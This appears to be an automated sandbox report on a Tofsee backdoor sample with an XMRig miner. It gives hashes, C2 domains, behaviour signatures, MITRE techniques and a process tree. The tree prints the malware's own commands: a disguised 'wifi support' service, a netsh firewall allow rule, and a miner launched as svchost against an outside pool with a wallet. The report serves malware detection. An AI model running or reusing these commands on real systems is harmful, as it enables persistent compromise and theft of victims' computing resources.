Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-04-2023 20:28

General

  • Target

    file.exe

  • Size

    352KB

  • MD5

    a7e92b6065a8b7859c2a5f2b6af7456d

  • SHA1

    82e16ca74150f0c18c2b80985cc342e7b68d2b01

  • SHA256

    719e4f0ff66bd18cd517da2f7620b292966225ee7e6185d64de444f2181d51ca

  • SHA512

    2d7271d4ed01d5618c40d1a6f391521bb7bf4e75c7d3d8a815a186c00cf784f0e980042b1b2a0ed27c9e8708fb58f26883e5ea0405f5b2874ef86bb9859ac215

  • SSDEEP

    3072:cny/XreDmKCOImk4sYpUCC1cFzMX2kMZtOBiYrsH6tzwPAW/A0VLn0sP9peUIQoY:yytK/I0GCyCtgPrsHTA4AQIsZYUSz2

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4340
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ffqpnlve\
      2⤵
        PID:3452
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\trgohxso.exe" C:\Windows\SysWOW64\ffqpnlve\
        2⤵
          PID:2012
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ffqpnlve binPath= "C:\Windows\SysWOW64\ffqpnlve\trgohxso.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:832
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ffqpnlve "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1276
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ffqpnlve
          2⤵
          • Launches sc.exe
          PID:3480
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4808
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4340 -s 788
          2⤵
          • Program crash
          PID:1836
      • C:\Windows\SysWOW64\ffqpnlve\trgohxso.exe
        C:\Windows\SysWOW64\ffqpnlve\trgohxso.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:736
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4000
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3056
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 736 -s 452
          2⤵
          • Program crash
          PID:1868
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4340 -ip 4340
        1⤵
          PID:2964
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 736 -ip 736
          1⤵
            PID:3500

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\trgohxso.exe
            Filesize

            10.6MB

            MD5

            56cccf830f2a533ba65ec09b71ce461b

            SHA1

            a35181f638ede9b1a5e483c451ae9ae8ddddad7a

            SHA256

            1ddcc28c2b8e2e0d6915c9664c53465f4277d84aa40c97f1b23ed829b02ca838

            SHA512

            7704fb22538e5601f377d40daae6df22518797b1b28624a71060ea4765946af682de779922f53dea4086df840c41ea2792ab174e672bf1be2ce4bd9b2462a8e9

          • C:\Windows\SysWOW64\ffqpnlve\trgohxso.exe
            Filesize

            10.6MB

            MD5

            56cccf830f2a533ba65ec09b71ce461b

            SHA1

            a35181f638ede9b1a5e483c451ae9ae8ddddad7a

            SHA256

            1ddcc28c2b8e2e0d6915c9664c53465f4277d84aa40c97f1b23ed829b02ca838

            SHA512

            7704fb22538e5601f377d40daae6df22518797b1b28624a71060ea4765946af682de779922f53dea4086df840c41ea2792ab174e672bf1be2ce4bd9b2462a8e9

          • memory/736-145-0x0000000000400000-0x00000000007FD000-memory.dmp
            Filesize

            4.0MB

          • memory/3056-189-0x0000000001290000-0x0000000001381000-memory.dmp
            Filesize

            964KB

          • memory/3056-198-0x0000000001290000-0x0000000001381000-memory.dmp
            Filesize

            964KB

          • memory/3056-200-0x0000000001290000-0x0000000001381000-memory.dmp
            Filesize

            964KB

          • memory/3056-199-0x0000000001290000-0x0000000001381000-memory.dmp
            Filesize

            964KB

          • memory/3056-197-0x0000000001290000-0x0000000001381000-memory.dmp
            Filesize

            964KB

          • memory/3056-196-0x0000000001290000-0x0000000001381000-memory.dmp
            Filesize

            964KB

          • memory/3056-195-0x0000000001290000-0x0000000001381000-memory.dmp
            Filesize

            964KB

          • memory/3056-194-0x0000000001290000-0x0000000001381000-memory.dmp
            Filesize

            964KB

          • memory/4000-167-0x0000000001DC0000-0x0000000001DD0000-memory.dmp
            Filesize

            64KB

          • memory/4000-174-0x0000000001DC0000-0x0000000001DD0000-memory.dmp
            Filesize

            64KB

          • memory/4000-154-0x0000000001DB0000-0x0000000001DB6000-memory.dmp
            Filesize

            24KB

          • memory/4000-157-0x0000000001DC0000-0x0000000001DD0000-memory.dmp
            Filesize

            64KB

          • memory/4000-160-0x0000000001DC0000-0x0000000001DD0000-memory.dmp
            Filesize

            64KB

          • memory/4000-161-0x0000000001DC0000-0x0000000001DD0000-memory.dmp
            Filesize

            64KB

          • memory/4000-162-0x0000000001DC0000-0x0000000001DD0000-memory.dmp
            Filesize

            64KB

          • memory/4000-163-0x0000000001DC0000-0x0000000001DD0000-memory.dmp
            Filesize

            64KB

          • memory/4000-164-0x0000000001DC0000-0x0000000001DD0000-memory.dmp
            Filesize

            64KB

          • memory/4000-165-0x0000000001DC0000-0x0000000001DD0000-memory.dmp
            Filesize

            64KB

          • memory/4000-166-0x0000000001DC0000-0x0000000001DD0000-memory.dmp
            Filesize

            64KB

          • memory/4000-141-0x0000000000740000-0x0000000000755000-memory.dmp
            Filesize

            84KB

          • memory/4000-168-0x0000000001DC0000-0x0000000001DD0000-memory.dmp
            Filesize

            64KB

          • memory/4000-169-0x0000000001DC0000-0x0000000001DD0000-memory.dmp
            Filesize

            64KB

          • memory/4000-171-0x0000000001DC0000-0x0000000001DD0000-memory.dmp
            Filesize

            64KB

          • memory/4000-170-0x0000000001DC0000-0x0000000001DD0000-memory.dmp
            Filesize

            64KB

          • memory/4000-172-0x0000000001DC0000-0x0000000001DD0000-memory.dmp
            Filesize

            64KB

          • memory/4000-153-0x0000000002600000-0x000000000280F000-memory.dmp
            Filesize

            2.1MB

          • memory/4000-175-0x0000000001DC0000-0x0000000001DD0000-memory.dmp
            Filesize

            64KB

          • memory/4000-173-0x0000000001DC0000-0x0000000001DD0000-memory.dmp
            Filesize

            64KB

          • memory/4000-176-0x0000000001DC0000-0x0000000001DD0000-memory.dmp
            Filesize

            64KB

          • memory/4000-177-0x0000000001DD0000-0x0000000001DD5000-memory.dmp
            Filesize

            20KB

          • memory/4000-180-0x0000000001DD0000-0x0000000001DD5000-memory.dmp
            Filesize

            20KB

          • memory/4000-181-0x0000000007500000-0x000000000790B000-memory.dmp
            Filesize

            4.0MB

          • memory/4000-184-0x0000000007500000-0x000000000790B000-memory.dmp
            Filesize

            4.0MB

          • memory/4000-185-0x0000000001DE0000-0x0000000001DE7000-memory.dmp
            Filesize

            28KB

          • memory/4000-150-0x0000000002600000-0x000000000280F000-memory.dmp
            Filesize

            2.1MB

          • memory/4000-149-0x0000000000740000-0x0000000000755000-memory.dmp
            Filesize

            84KB

          • memory/4000-147-0x0000000000740000-0x0000000000755000-memory.dmp
            Filesize

            84KB

          • memory/4000-146-0x0000000000740000-0x0000000000755000-memory.dmp
            Filesize

            84KB

          • memory/4000-144-0x0000000000740000-0x0000000000755000-memory.dmp
            Filesize

            84KB

          • memory/4340-134-0x0000000000990000-0x00000000009A3000-memory.dmp
            Filesize

            76KB

          • memory/4340-139-0x0000000000990000-0x00000000009A3000-memory.dmp
            Filesize

            76KB

          • memory/4340-138-0x0000000000400000-0x00000000007FD000-memory.dmp
            Filesize

            4.0MB